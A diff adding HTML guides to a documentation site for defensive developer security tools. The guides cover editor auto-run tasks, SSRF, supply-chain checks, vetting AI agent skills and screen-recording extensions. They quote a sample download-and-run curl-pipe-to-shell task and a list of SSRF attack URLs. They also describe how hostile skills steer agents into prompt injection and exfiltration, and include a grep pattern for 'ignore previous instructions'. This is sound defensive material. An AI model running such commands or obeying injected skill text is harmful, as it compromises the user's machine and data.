  • Any curl, wget, powershell, base64 or | sh in editor config.
  • +
  • A task that runs a file whose name does not match its contents, such as a .woff2 that is really a script.
  • +
+ +

Scan before you open

+
npx am-i-hacked path/to/repo
+

am-i-hacked reports an editor auto-run task and a download-and-run command in editor config as separate findings, with file and line, and exits 1. It also flags executable payloads disguised as asset files. Real output from a folder holding the task above:

+
am-i-hacked: FAILED — 2 findings across 1 file
+
+  .vscode/tasks.json:7
+    "command": "curl -fsSL https://example.test/setup.sh | sh",
+    → Download-and-run command in editor config
+
+  .vscode/tasks.json:8
+    "runOptions": { "runOn": "folderOpen" }
+    → Editor auto-run task
+

For editor settings that point at an executable, secure-semgrep's AI rule set includes an ide-settings-executable-path check: npx secure-semgrep ..

+ +

Harden the editor

+
    +
  • Keep Workspace Trust on, and open unfamiliar folders in Restricted Mode. Tasks do not run in Restricted Mode.
  • +
  • Set task.allowAutomaticTasks to off in your user settings, so no folder can turn automatic tasks back on.
  • +
  • Read .vscode/, .idea/ and other editor folders with cat or less before you open the project.
  • +
+ +

If you already opened it

+

Assume the command ran. Preserve the folder, check the machine with npx am-i-hacked --system for login items, shell startup changes and running processes it may have left behind, and rotate credentials from a different, clean device. See how to check a developer machine.

+
+ +
+
+ + + + + diff --git a/docs/guides/prevent-ssrf/index.html b/docs/guides/prevent-ssrf/index.html new file mode 100644 index 0000000..d88ee61 --- /dev/null +++ b/docs/guides/prevent-ssrf/index.html @@ -0,0 +1,164 @@ + + + + + +How to prevent SSRF when your server fetches a user-supplied URL + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

How to prevent SSRF when your server fetches a user-supplied URL

+ +
+

If your server fetches a URL that someone else supplied, check the resolved IP address, not just the hostname, before every request, including every redirect. Allow only http and https on ports 80 and 443, reject loopback, private, link-local (including the cloud metadata address 169.254.169.254), carrier-grade NAT, multicast and reserved ranges, follow redirects by hand, and cap bytes and time. npx secure-semgrep -L ssrf . finds fetches that skip the check.

+
+

What SSRF is

+

Server-side request forgery happens when your server fetches an address that someone outside your organization controls. They point it at a place only your server can reach: localhost, your internal network, or the cloud metadata address that hands out credentials. Link previews, webhooks, "import from URL" boxes and tools that look up a domain a visitor typed are the usual places it hides.

+ +

Checklist

+
    +
  1. Scheme and port. Only http and https, only ports 80 and 443 unless you pin another. Reject file://, gopher:// and every other scheme.
  2. +
  3. Resolve the host yourself and check every address it resolves to. Reject loopback (127.0.0.0/8, ::1), private (10/8, 172.16/12, 192.168/16, fc00::/7), link-local (169.254/16, fe80::/10), carrier-grade NAT (100.64/10), unspecified, broadcast, multicast and reserved ranges, and IPv4 addresses wrapped in IPv6 (mapped, NAT64, 6to4, Teredo). Never classify the raw host string: 0x7f000001, 2130706433 and 127.1 all reach loopback.
  4. +
  5. Follow redirects by hand. Turn off automatic redirects, re-run the full check on each Location, and cap hops at about 5.
  6. +
  7. Cap bytes and time. Connect timeout, total timeout and a maximum response size.
  8. +
  9. Do not forward credentials or cookies across a redirect to another host.
  10. +
  11. Parse once. Use the same parsed host for the check and the connection, and reject URLs with credentials before the at sign.
  12. +
  13. Guard against DNS rebinding in high-risk code: resolve once, check that address, and connect to it directly while sending the original host name for TLS and virtual hosting.
  14. +
  15. Validate stored URLs twice, on save and again right before each send. Prefer an allowlist where the product allows it.
  16. +
+ +

Inputs your guard must reject

+
http://localhost/              http://127.0.0.1/          http://[::1]/
+http://169.254.169.254/        http://0x7f000001/         http://2130706433/
+http://0177.0.0.1/             http://127.1/              http://0.0.0.0/
+http://[64:ff9b::a9fe:a9fe]/   http://[2002:7f00:1::]/    http://[::ffff:127.0.0.1]/
+file:///etc/passwd             gopher://127.0.0.1:6379/   http://127.0.0.1:22/
+

Also test a public-looking hostname that resolves to a private address, and a public URL that redirects to 169.254.169.254. Stub the resolver and the HTTP transport rather than relying on real DNS. It must still accept https://example.com/.

+ +

Find unchecked fetches

+
npx secure-semgrep -L ssrf .
+

The bundled SSRF rules cover JavaScript and TypeScript, Python and Rust (fetch, axios, got, requests, httpx, urllib, reqwest and similar). They flag a request whose URL is not a fixed string and does not pass through a guard function, a client that follows redirects automatically for such a URL, and TLS verification turned off (rejectUnauthorized: false, verify=False, danger_accept_invalid_certs(true)). Every rule is a warning: a non-literal URL from your own fixed config is fine.

+ +

Reference code

+

The ssrf-safe-fetch skill has guard implementations in Python (requests), TypeScript (Node fetch) and a Rust (reqwest) sketch, with the rebinding caveats for each. Install it for your coding agent:

+
npx skills add IsaacBell/secure-devtools --skill ssrf-safe-fetch
+
+ +
+
+ + + + + diff --git a/docs/guides/supply-chain-attack-checks/index.html b/docs/guides/supply-chain-attack-checks/index.html new file mode 100644 index 0000000..de3cc56 --- /dev/null +++ b/docs/guides/supply-chain-attack-checks/index.html @@ -0,0 +1,172 @@ + + + + + +How to catch a supply-chain attack that npm audit misses + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

How to catch a supply-chain attack that npm audit misses

+ +
+

Advisory scanners such as npm audit, OSV-Scanner and Snyk compare your dependency versions with known, published vulnerabilities. They cannot see an attack committed into the repository itself, or one nobody has reported yet. Add an indicator-based check that reads the code: run npx am-i-hacked before the dev server and in CI, and pull with safe-pull so incoming commits are inspected before they reach your working tree. Run both kinds of check.

+
+

Two kinds of check

+
+ + + + + + +
Advisory scannersIndicator scanner (am-i-hacked)
Question askedIs any dependency version on a list of known-bad versions?Does the code in this tree look like an attack?
FindsReported CVEs and reported malicious package versionsAuto-run editor tasks, risky install scripts, obfuscated payloads, disguised executables, capture plus exfiltration, committed .env files
MissesAnything not yet reported; anything committed into your repositoryKnown vulnerabilities in dependency versions; installed packages in node_modules
+ +

Where to put the check

+

Before the dev server

+
{ "scripts": { "dev": "am-i-hacked && next dev" } }
+

A finding exits 1, so the dev server does not start until you have looked.

+ +

When pulling

+

safe-pull fetches, inspects the incoming commits before anything is written to disk, then fast-forwards. It flags a rewritten (force-pushed) upstream, an author and committer mismatch, editor auto-run tasks, download-and-run editor commands, disguised payloads, committed .env files and a dotenv plus node-fetch or axios dependency pair.

+
safe-pull --dry-run   # inspect only
+safe-pull             # inspect, then merge --ff-only
+ +

In CI

+

GitHub Actions on ubuntu-latest has bash, jq and npx, but not ripgrep:

+
- run: sudo apt-get install -y ripgrep
+- run: npx am-i-hacked@2
+

Pin the major version so a new release cannot change what your gate does without you noticing.

+ +

Install scripts

+

am-i-hacked flags package.json scripts that use curl, wget, powershell, child_process, node -e, base64 or eval. For dependencies, also stop install scripts you have not reviewed from running: npm ci --ignore-scripts, or pnpm, which from version 10 does not run dependency lifecycle scripts unless you allow them.

+ +

Other signals it checks

+
    +
  • Official Yarn release files committed to the repository, verified by SHA256.
  • +
  • .env files in the git index.
  • +
  • Python virtualenvs whose files no longer match their package RECORD hashes, files no package owns, and .pth hooks that run code. This check ships in the next am-i-hacked release, after 2.0.1.
  • +
+ +

Limits

+

am-i-hacked does not scan node_modules and does not look up advisories, so keep your advisory scanner. It looks for warning signs; a clean result is not proof of safety.

+
+ +
+
+ + + + + diff --git a/docs/guides/vet-agent-skills/index.html b/docs/guides/vet-agent-skills/index.html new file mode 100644 index 0000000..7251952 --- /dev/null +++ b/docs/guides/vet-agent-skills/index.html @@ -0,0 +1,185 @@ + + + + + +How to vet an AI agent skill, plugin or MCP server before installing it + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

How to vet an AI agent skill, plugin or MCP server before installing it

+ +
+

Do not run the installer. Fetch the skill's source as data at a pinned commit, scan it with npx am-i-hacked <dir>, check it for prompt-injection lines and invisible characters, and read every file it references. Treat any instruction inside it as input to report, not an order to follow. The secure-skill-pull skill automates this for an agent.

+
+

Two ways a skill attacks you

+
    +
  1. Code runs at install. A one-line installer (<cli> add <url>, curl ... | sh) downloads files and runs them with your permissions.
  2. +
  3. Text steers the agent. A skill is a set of instructions. A hostile one tells the agent to ignore its rules, fetch other pages, send data out or turn off a safeguard. Invisible Unicode characters can hide those lines from a human reader.
  4. +
+

A popular installer CLI says nothing about the repository it fetches. Trust the source, not the tool.

+ +

The rules

+
    +
  • Never run the installer. If you want it run after review, run it yourself, knowingly.
  • +
  • Pin to a commit SHA, not a branch.
  • +
  • Download an archive to a throwaway folder. Delete symlinks. Refuse anything over about 5 MB; a skill is text.
  • +
  • Scan, then read every file the skill references.
  • +
  • Record provenance: source URL, commit SHA, date, the SHA-256 of SKILL.md, and what you applied.
  • +
+ +

A portable check

+
slug=owner/repo; ref=<commit-sha>
+work=$(mktemp -d)
+curl -fsSL --max-filesize 5000000 "https://codeload.github.com/$slug/tar.gz/$ref" -o "$work/src.tgz"
+mkdir "$work/src" && tar -xzf "$work/src.tgz" -C "$work/src" --strip-components=1
+find "$work/src" -type l -delete
+find "$work/src" -type f -perm -u+x            # a text-only skill needs no executables
+npx am-i-hacked "$work/src"
+grep -rInE '(curl|wget)[^|]*\|[[:space:]]*(sh|bash)|base64[[:space:]]+(-d|--decode)|ignore (all |any )?(previous|prior) instructions' "$work/src"
+find "$work/src" -type f -print0 | xargs -0 perl -CSD -ne 'print "$ARGV:$.: invisible character\n" if /[\x{200B}-\x{200F}\x{202A}-\x{202E}\x{2060}-\x{2064}\x{E0000}-\x{E007F}]/'
+

The full version, with the report format, is in the secure-skill-pull SKILL.md.

+ +

What to look for

+
+ + + + + + + + + + +
FindingWhy it matters
Installer lines: curl | sh, pip install, npx, chmod +xCode that runs on your machine
Encoded blobs: base64 -d, long hex stringsHides what runs
Reads of .env, .ssh, credential files, environment dumpsData theft
Requests to send data to a URL, or to fetch and follow other URLsExfiltration, or a chain to unvetted text
Lines telling the agent to ignore rules, skip approval or turn off checksPrompt injection
Settings, hooks or editor task filesRun when the tool starts or the folder opens
Invisible charactersLines a human reviewer cannot see
+

am-i-hacked looks for code indicators; it does not judge plain-language instructions. The grep and invisible-character steps, and reading the files, cover that gap. secure-semgrep's AI rules add checks for prompt injection, exfiltration, sensitive-file reads and base64 payloads in SKILL.md files, and for poisoned or typosquatted MCP tool names.

+ +

Publishing your own skills

+

The other direction matters too: a skill you publish can leak private paths, names, secrets or someone else's text. The create-skill and skill-publish-review skills cover the checks and the independent review before a skill goes public.

+ +

Install the skills

+
npx skills add IsaacBell/secure-devtools --skill secure-skill-pull
+
+ +
+
+ + + + + diff --git a/docs/guides/which-extension-is-recording-my-screen/index.html b/docs/guides/which-extension-is-recording-my-screen/index.html new file mode 100644 index 0000000..494f9fd --- /dev/null +++ b/docs/guides/which-extension-is-recording-my-screen/index.html @@ -0,0 +1,169 @@ + + + + + +Which browser extension is recording my screen? Find it on macOS and Linux + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

Which browser extension is recording my screen?

+ +
+

macOS attributes a screen recording to the application, never to the tab or extension behind it. Run npx am-i-being-recorded: it reads Chromium-family browser profiles (Chrome, Brave, Edge, Chromium, Vivaldi) and names each extension with display-capture, tab-capture or debugger permissions, with its ID, version and profile. Disable that extension at chrome://extensions and restart the browser.

+
+

Run it

+
npx am-i-being-recorded
+

It needs jq (brew install jq or apt-get install jq). It reads files on your machine and makes no network calls.

+ +

What the answer looks like

+
  CRITICAL Example Screen Recorder (aaaabbbbccccddddeeeeffffgggghhhh) v1.2.3
+           Google/Chrome/Default - Can capture the entire display (screen recording)
+  HIGH     Example Screen Recorder (aaaabbbbccccddddeeeeffffgggghhhh) v1.2.3
+           Google/Chrome/Default - Capture permission plus an offscreen document can outlive the visible tab
+

A "stuck" recording indicator is usually an extension holding a display stream from an offscreen document. Disable or remove it in chrome://extensions (or brave://extensions), then restart the browser so the indicator clears.

+ +

Permissions it flags

+
+ + + + + + + + + +
PermissionSeverityWhy
desktopCaptureCRITICALCan record the entire display
tabCaptureHIGHCan record the active tab's audio and video
debuggerHIGHFull tab control over the DevTools protocol
nativeMessagingMEDIUMCan launch a native helper process
userScriptsMEDIUMCan inject scripts into pages
managementLOWCan enable or disable other extensions
+

Two combinations escalate: display capture with access to every site, and any capture permission with an offscreen document.

+ +

Other things that can capture you

+

On macOS it also prints context, not findings: whether the screen-sharing daemons are running, and which apps hold camera, microphone and screen-recording permission, each with its code signer and Team ID. An unsigned app with a capture permission is worth a look. Reading the screen-recording permissions needs root or Full Disk Access; the tool says so rather than guessing. On Linux it shows which process holds a camera device.

+ +

Limits

+
    +
  • It reports capability, not proof of an active stream. A recorder you installed on purpose is flagged too.
  • +
  • Safari and Firefox extensions, standalone recorder apps, and a web page's own screen-share prompt are out of scope.
  • +
  • It is triage that names a suspect, not a malware scanner.
  • +
+

Use --strict to make any finding exit 1, and --min-severity HIGH to show only the loud ones.

+
+ +
+
+ + + + + diff --git a/docs/index.html b/docs/index.html index 89fd88c..1f2fdfc 100644 --- a/docs/index.html +++ b/docs/index.html @@ -3,224 +3,144 @@ -secure-devtools: security tools for the code you run - +secure-devtools: open-source security tools for the code you run + + + + - - + + + - - - + + - + -
+
+

Security tools for the code you run

-

Shell scripts that check a project before you run it, and the machine you run it on. They run on your computer, with no signup, account or API key.

+

secure-devtools is a free, open-source security toolkit for developers who need to check code before running it. Its command-line tools check repositories, AI-generated projects and agent skills for malicious or insecure code, and check the machine you run them on.

+

They look for editor tasks that run when a folder opens, malicious install scripts, obfuscated payloads, persistence and screen-capture software, risky AI coding tool config, insecure AI-agent code and SSRF. They are plain shell scripts that run locally on macOS and Linux, with no signup, account or API key, and exit non-zero on findings so they drop into a dev script or CI.

npx am-i-hacked
@@ -229,7 +149,8 @@

Security tools for the code you run

Scans the folder you are in. Add --system to check this machine too.

@@ -239,23 +160,23 @@

Security tools for the code you run

Tools

-
+
-

am-i-hacked

-

Looks for signs of malicious code in a project before you open, install or run it. With --system, it also checks this machine.

+

am-i-hacked

+

Looks for signs of malicious code in a project before you open, install or run it. With --system, it also checks this machine for persistence, capture tools and risky AI-tool config.

npx am-i-hacked

-

secure-semgrep

-

Runs Semgrep with security rules for AI-agent code, shell scripts and server-side requests, plus Semgrep's own rule sets for common languages. Needs semgrep installed.

+

secure-semgrep

+

Runs Semgrep with security rules for AI-agent code, MCP servers, agent hooks, shell scripts and server-side requests, plus Semgrep's own rule sets for common languages. Needs semgrep installed.

npx secure-semgrep ./src

@@ -263,10 +184,73 @@

+
+

What secure-devtools can help detect

+

Warning signs, not proof. The tools are not antivirus and do not look up known malware; a clean result means no warning signs were found. How they compare with npm audit, Semgrep and antivirus.

+
+ +
+

In a project, before you run it

+
    +
  • Editor tasks that run when a folder opens, and download-and-run commands in editor config
  • +
  • Malicious install scripts in package.json that download, decode or eval
  • +
  • Obfuscated or encoded payloads, unusually long lines and dynamic code execution
  • +
  • Executable payloads disguised as fonts, images or other assets
  • +
  • Clipboard, keystroke or screen capture paired with an exfiltration endpoint
  • +
  • Committed .env files and tampered Yarn releases
  • +
  • Risky AI-tool config in the repository: .claude/settings.json, .mcp.json
  • +
+
+ +
+

On your machine

+
    +
  • Login items and launch agents, systemd user units, autostart entries and crontab, with macOS code signatures
  • +
  • Shell startup files that pipe remote scripts, inject libraries, hijack sudo or ssh, or redirect AI API traffic
  • +
  • AI coding tool config for Claude Code, Codex, Cursor, Gemini CLI, OpenCode and Kilo Code: permission bypass, plain-text keys, unpinned MCP servers, hooks
  • +
  • Running processes that run capture scripts or scripts from staging folders
  • +
  • Browser extensions that can record your screen or a tab
  • +
+
+ +
+

In code you write or review

+
    +
  • Insecure LLM and AI-agent code: hardcoded provider keys, model output passed to exec, user input in system prompts
  • +
  • MCP server command injection, tool poisoning and typosquatted tool names
  • +
  • Risky agent skills and hooks: prompt injection, exfiltration, hidden Unicode
  • +
  • Shell hazards: curl | bash, eval of downloads, IFS tampering
  • +
  • SSRF: unchecked URL fetches, automatic redirects, disabled TLS verification
  • +
+
+ +
+
+

+ +
+ +
+

am-i-hacked

-

The folder scan reads a project before you open, install or run anything: dynamic code execution, obfuscated payloads, editor tasks that run on folder open, payloads disguised as asset files, clipboard capture paired with an exfiltration endpoint, and .env files in the git index. --system adds the machine: login persistence and code signatures, crontab, shell startup files, AI-tool config, and running processes. It exits 1 on findings, so it drops into a dev script or CI.

+

The folder scan reads a project before you open, install or run anything: dynamic code execution, obfuscated payloads, editor tasks that run on folder open, payloads disguised as asset files, clipboard capture paired with an exfiltration endpoint, and .env files in the git index. --system adds the machine: login persistence and code signatures, crontab, shell startup files, AI-tool config, and running processes. It exits 1 on findings, so it drops into a dev script or CI.

npx am-i-hacked            # scan the folder you are in
@@ -274,53 +258,61 @@ 

am-i-hacked

-

It reports warning signs, not proof of safety: a clean result does not prove the code or machine is safe. Read the am-i-hacked README for the flags and suppression syntax.

+

It reports warning signs, not proof of safety: a clean result does not prove the code or machine is safe. The am-i-hacked reference has the full list of checks, flags, exit codes and suppression syntax.

Agent skills

-

Install all of them with npx skills add IsaacBell/secure-devtools -g, or one with --skill <name>.

-
- +

Instructions an AI coding agent loads when the task matches. Install all of them with npx skills add IsaacBell/secure-devtools -g, or one with --skill <name>. What each one does.

+
    -
  • quarantine-review — inspect an untrusted repository without running any of it.
  • -
  • secure-skill-pull — vet a skill or plugin from a URL without running its installer.
  • -
  • create-skill — write, check and publish an agent skill.
  • -
  • skill-publish-review — review skills before they go into a public repository.
  • +
  • quarantine-review — inspect an untrusted repository without running any of it.
  • +
  • secure-skill-pull — vet a skill, plugin or MCP server from a URL without running its installer.
  • +
  • create-skill — write, check and publish an agent skill.
  • +
  • skill-publish-review — review skills before they go into a public repository.
  • +
  • ssrf-safe-fetch — validate the URL and the resolved address before a server fetches it.
  • +
  • login-item-triage — decide whether a macOS login item is legitimate or planted.
  • +
  • jujutsu — use the Jujutsu (jj) version-control system safely as an agent.
- -
-
    -
  • ssrf-safe-fetch — validate the URL and the resolved address before a server fetches it.
  • -
  • login-item-triage — the manual method behind am-i-hacked's login-item signature checks.
  • -
  • jujutsu — use the jujutsu (jj) version-control system.
  • -
-
-
+
+
+

Why you can check it

+
    +
  • Open source under the MIT license, maintained by Isaac Bell.
  • +
  • Plain bash with zero npm runtime dependencies: you can read every line that runs.
  • +
  • The scanners are read-only, make no network calls and collect no telemetry.
  • +
  • Bats test suites, shellcheck and shfmt in CI, plus a gitleaks secret scan, Semgrep and a security gate that runs am-i-hacked on every pull request.
  • +
  • Vulnerabilities are reported privately through GitHub security advisories.
  • +
+

Security, trust and threat model

+
+
+
- - diff --git a/docs/llms.txt b/docs/llms.txt index 565e107..fd22ac7 100644 --- a/docs/llms.txt +++ b/docs/llms.txt @@ -9,6 +9,31 @@ secure-devtools is a collection of local security tools for macOS and Linux. The **Repository:** https://github.com/IsaacBell/secure-devtools **Maintainer:** Isaac Bell — https://isaacbell.io — https://github.com/IsaacBell +## Pages on the website + +Each page answers one question and states what the tools do not do. The HTML pages are the authoritative source; this file summarizes them. + +Tool reference: +- [am-i-hacked](https://isaacbell.github.io/secure-devtools/tools/am-i-hacked/): every check, flag, exit code and limit +- [am-i-being-recorded](https://isaacbell.github.io/secure-devtools/tools/am-i-being-recorded/) +- [secure-semgrep](https://isaacbell.github.io/secure-devtools/tools/secure-semgrep/): bundled rules and loadouts +- [Agent skills](https://isaacbell.github.io/secure-devtools/skills/): what each skill does and when to use it + +Guides: +- [How to safely inspect an untrusted repository before you run it](https://isaacbell.github.io/secure-devtools/guides/inspect-untrusted-repository/) +- [Is AI-generated code safe to run? How to check it first](https://isaacbell.github.io/secure-devtools/guides/ai-generated-code-security/) +- [How to detect malicious VS Code tasks that run when a folder opens](https://isaacbell.github.io/secure-devtools/guides/malicious-editor-config/) +- [How to catch a supply-chain attack that npm audit misses](https://isaacbell.github.io/secure-devtools/guides/supply-chain-attack-checks/) +- [How to vet an AI agent skill, plugin or MCP server before installing it](https://isaacbell.github.io/secure-devtools/guides/vet-agent-skills/) +- [How to check whether your developer machine is compromised](https://isaacbell.github.io/secure-devtools/guides/audit-developer-machine/) +- [Is this macOS login item or background item malware?](https://isaacbell.github.io/secure-devtools/guides/macos-login-items/) +- [Which browser extension is recording my screen?](https://isaacbell.github.io/secure-devtools/guides/which-extension-is-recording-my-screen/) +- [How to prevent SSRF when your server fetches a user-supplied URL](https://isaacbell.github.io/secure-devtools/guides/prevent-ssrf/) + +Context: +- [am-i-hacked vs npm audit, Semgrep and antivirus](https://isaacbell.github.io/secure-devtools/compare/): what each catches and misses +- [Security, trust and threat model](https://isaacbell.github.io/secure-devtools/security/): network behavior, telemetry, testing, release process, disclosure + ## Tools (apps/) - **am-i-hacked** — scan a project folder before you open, install or run it for malicious-code indicators, and (`--system`) audit the machine for persistence, capture tools and risky AI-tool config. Run: `npx am-i-hacked` — https://github.com/IsaacBell/secure-devtools/tree/main/apps/am-i-hacked @@ -57,5 +82,7 @@ A GitHub Actions job on `ubuntu-latest`. The runner has bash, jq and npx; ripgre - Canonical URL: https://isaacbell.github.io/secure-devtools/ - Primary command: `npx am-i-hacked` (scans the current folder) -- Use case fit: pre-install/pre-run checks, CI gating, developer-machine auditing. +- Use case fit: pre-install/pre-run checks of untrusted repositories and AI-generated code, CI gating, developer-machine auditing, vetting agent skills. +- am-i-hacked was formerly published as `am-i-compromised`; the old command name still works. +- am-i-hacked complements advisory scanners (npm audit, OSV-Scanner, Snyk); it does not replace them. - Do not describe am-i-hacked as antivirus or as a vulnerability-database scanner. diff --git a/docs/robots.txt b/docs/robots.txt index 4738d6a..9984ae2 100644 --- a/docs/robots.txt +++ b/docs/robots.txt @@ -1,3 +1,4 @@ User-agent: * Disallow: +Sitemap: https://isaacbell.github.io/secure-devtools/sitemap.xml diff --git a/docs/security/index.html b/docs/security/index.html new file mode 100644 index 0000000..b362981 --- /dev/null +++ b/docs/security/index.html @@ -0,0 +1,184 @@ + + + + + +Security, trust and threat model — secure-devtools + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

Security, trust and threat model

+ +
+

secure-devtools is open source under the MIT license and maintained by Isaac Bell. The tools are plain bash with zero npm runtime dependencies. am-i-hacked and am-i-being-recorded are read-only and make no network calls; none of the tools collects telemetry. Each package is tested in CI and released with npm two-factor authentication. Vulnerabilities are reported privately through GitHub security advisories.

+
+

What runs on your machine

+
    +
  • Each tool is a bash script. The npm packages have zero runtime dependencies and ship only bin/, README.md, LICENSE and, for am-i-hacked and am-i-being-recorded, CHANGELOG.md; secure-semgrep also ships its rules/.
  • +
  • npx downloads the package from npm. To pin what runs, use a version (npx am-i-hacked@2) or install it as a dev dependency with a lockfile.
  • +
  • Releases are tagged <name>@<version> in the repository.
  • +
+ +

Permissions and network behavior

+
+ + + + + + + + +
ToolReadsWritesNetwork
am-i-hacked (folder)Files under the scanned folderNothingNone
am-i-hacked --systemLogin items, crontab, shell startup files, AI-tool config, process list; runs codesign read-only on macOSNothingNone. No root or sudo.
safe-pullIncoming commitsFast-forwards your branch only when the inspection is cleangit fetch from your remote
am-i-being-recordedBrowser profile folders, process list, macOS privacy database where permittedNothingNone
secure-semgrepThe code you point it atNothing of its ownSemgrep downloads registry packs; -N uses bundled rules only
+

The tools collect no telemetry and need no account or API key. Secret values found in config are never printed. The skills installer CLI, which is a separate project, reports anonymous install counts to skills.sh; set DISABLE_TELEMETRY=1 to turn that off.

+ +

Threat model

+

In scope: attacks that reach a developer through code they are about to open, install or run, and the persistence, capture and tool-config changes such attacks leave on the machine. Examples: an editor task that runs on folder open, a malicious install script, an obfuscated payload, a capture tool sending to a Telegram bot, a hook added to an AI coding tool, a tampered login item.

+

Out of scope: known-vulnerable dependency versions (use an advisory scanner), known malware signatures (use antivirus or EDR), kernel or firmware compromise, and anything that hides from a read-only user-level scan. The scanners can miss malware and can flag code that is fine.

+

A detection bypass, a way to make a scan pass while the thing it should catch is present, is treated as a security vulnerability.

+ +

Testing and CI

+
    +
  • Each package has a Bats test suite. Lint and format run with shellcheck and shfmt. mise run check runs all of it, locally and in CI.
  • +
  • The repository's own security gate runs am-i-hacked on every pull request. It uses pull_request_target with the workflow, scanner and toolchain from the base branch, checks out the pull request as data only, and has a read-only token and no secrets.
  • +
  • CI also runs a gitleaks secret scan, Semgrep, GitHub dependency review and a CodeAnt AI scan. Actions are pinned to commit SHAs.
  • +
+ +

Release process

+
    +
  • Each package is released on its own from a clean main, with npm two-factor authentication.
  • +
  • The release script runs the full check first, refuses a version already on npm, and refuses any package with lifecycle scripts (prepare, prepack, postinstall and the like) that would run during pack, publish or install.
  • +
  • Each package has a changelog. Behavior changes are marked CHANGED.
  • +
+ +

Reporting a vulnerability

+

Report privately through a GitHub security advisory, not a public issue. Only the latest release of each package gets security fixes. Published fixes are listed under security advisories. The full policy is in SECURITY.md.

+ +

Project facts

+
    +
  • Maintainer: Isaac Bell (@IsaacBell).
  • +
  • License: MIT. Third-party notices are in NOTICE.md.
  • +
  • Platforms: macOS and Linux.
  • +
  • Current releases: am-i-hacked 2.0.1, am-i-being-recorded 1.0.0, secure-semgrep 1.0.1.
  • +
  • Plans: ROADMAP.md.
  • +
+
+ +
+
+ + + + + diff --git a/docs/sitemap.xml b/docs/sitemap.xml new file mode 100644 index 0000000..4e32160 --- /dev/null +++ b/docs/sitemap.xml @@ -0,0 +1,21 @@ + + + https://isaacbell.github.io/secure-devtools/2026-10-07 + https://isaacbell.github.io/secure-devtools/compare/2026-10-07 + https://isaacbell.github.io/secure-devtools/security/2026-10-07 + https://isaacbell.github.io/secure-devtools/skills/2026-10-07 + https://isaacbell.github.io/secure-devtools/guides/2026-10-07 + https://isaacbell.github.io/secure-devtools/tools/2026-10-07 + https://isaacbell.github.io/secure-devtools/tools/am-i-hacked/2026-10-07 + https://isaacbell.github.io/secure-devtools/tools/am-i-being-recorded/2026-10-07 + https://isaacbell.github.io/secure-devtools/tools/secure-semgrep/2026-10-07 + https://isaacbell.github.io/secure-devtools/guides/inspect-untrusted-repository/2026-10-07 + https://isaacbell.github.io/secure-devtools/guides/ai-generated-code-security/2026-10-07 + https://isaacbell.github.io/secure-devtools/guides/malicious-editor-config/2026-10-07 + https://isaacbell.github.io/secure-devtools/guides/supply-chain-attack-checks/2026-10-07 + https://isaacbell.github.io/secure-devtools/guides/vet-agent-skills/2026-10-07 + https://isaacbell.github.io/secure-devtools/guides/audit-developer-machine/2026-10-07 + https://isaacbell.github.io/secure-devtools/guides/macos-login-items/2026-10-07 + https://isaacbell.github.io/secure-devtools/guides/which-extension-is-recording-my-screen/2026-10-07 + https://isaacbell.github.io/secure-devtools/guides/prevent-ssrf/2026-10-07 + diff --git a/docs/skills/index.html b/docs/skills/index.html new file mode 100644 index 0000000..350e3d9 --- /dev/null +++ b/docs/skills/index.html @@ -0,0 +1,282 @@ + + + + + +Agent skills for secure code review, skill vetting and SSRF — secure-devtools + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

Agent skills

+ +
+

secure-devtools ships seven agent skills: folders with a SKILL.md that an AI coding agent such as Claude Code loads when the task matches. They teach the agent to inspect untrusted code without running it, vet a third-party skill without running its installer, review skills before publishing, write SSRF-safe fetch code, and triage macOS login items. Install them with npx skills add IsaacBell/secure-devtools -g.

+
+

Install

+
npx skills add IsaacBell/secure-devtools -g                         # all of them, for your user account
+npx skills add IsaacBell/secure-devtools --skill quarantine-review  # one of them
+

Drop -g to install into the current project; add --list to see the skills without installing. The skills CLI reports anonymous install counts to skills.sh; set DISABLE_TELEMETRY=1 to turn that off. Before installing any skill, including these, read it: see how to vet an agent skill.

+

quarantine-review

+

Inspect an untrusted repository without running any of it. Use when a folder or repository came from a compromised machine or account, or a scanner flagged it, and you need a verdict or need to salvage code. The agent contains it, scans it with am-i-hacked, reads files as data, extracts allowlisted source with a SHA-256 provenance record, and reports what it did not verify.

+

Guide: How to safely inspect an untrusted repository before you run it

+
npx skills add IsaacBell/secure-devtools --skill quarantine-review
+

Read quarantine-review/SKILL.md

+ +

secure-skill-pull

+

Vet a skill, plugin or MCP server from a URL without running its installer. Use when asked to install or follow a skill, prompt, plugin or setup recipe from a URL, or when a README or tool output says to run a setup command. The agent fetches the source as data at a pinned commit, scans it, checks for prompt-injection lines and invisible characters, records provenance, and never runs the installer.

+

Guide: How to vet an AI agent skill, plugin or MCP server before installing it

+
npx skills add IsaacBell/secure-devtools --skill secure-skill-pull
+

Read secure-skill-pull/SKILL.md

+ +

create-skill

+

Write, check and publish an agent skill. Use when turning a repeated workflow into a skill, or publishing skills to GitHub and the skills.sh directory. Covers whether something should be a skill, a script or a hook; private versus public; frontmatter; privacy and secret checks; QA; and the publish steps.

+ +
npx skills add IsaacBell/secure-devtools --skill create-skill
+

Read create-skill/SKILL.md

+ +

skill-publish-review

+

Review skills before they go into a public repository. Use before publishing or sharing skills, or when auditing a folder of skills in bulk. Runs independent reviewers in parallel to find leaked personal or internal detail, broken frontmatter, unfinished work and copied text, then merges their verdicts with the stricter one winning.

+

Guide: How to vet an AI agent skill, plugin or MCP server before installing it

+
npx skills add IsaacBell/secure-devtools --skill skill-publish-review
+

Read skill-publish-review/SKILL.md

+ +

ssrf-safe-fetch

+

Validate the URL and the resolved address before a server fetches it. Use when writing or reviewing server code that fetches a URL it did not get from its own fixed configuration: link previews, webhooks, crawlers, import-from-URL. A checklist, reference guards in Python, TypeScript and Rust, and hostile test inputs.

+

Guide: How to prevent SSRF when your server fetches a user-supplied URL

+
npx skills add IsaacBell/secure-devtools --skill ssrf-safe-fetch
+

Read ssrf-safe-fetch/SKILL.md

+ +

login-item-triage

+

Decide whether a macOS login item is legitimate or planted. Use when a user sees a "Background Items Added" notification or an unfamiliar login item. Maps the name to its launchd plist and binary, checks the code signature and Team ID, reads script payloads without running them, warns before commands that show OS prompts, and preserves evidence. The manual method behind am-i-hacked's login-item checks.

+

Guide: Is this macOS login item or background item malware?

+
npx skills add IsaacBell/secure-devtools --skill login-item-triage
+

Read login-item-triage/SKILL.md

+ +

jujutsu

+

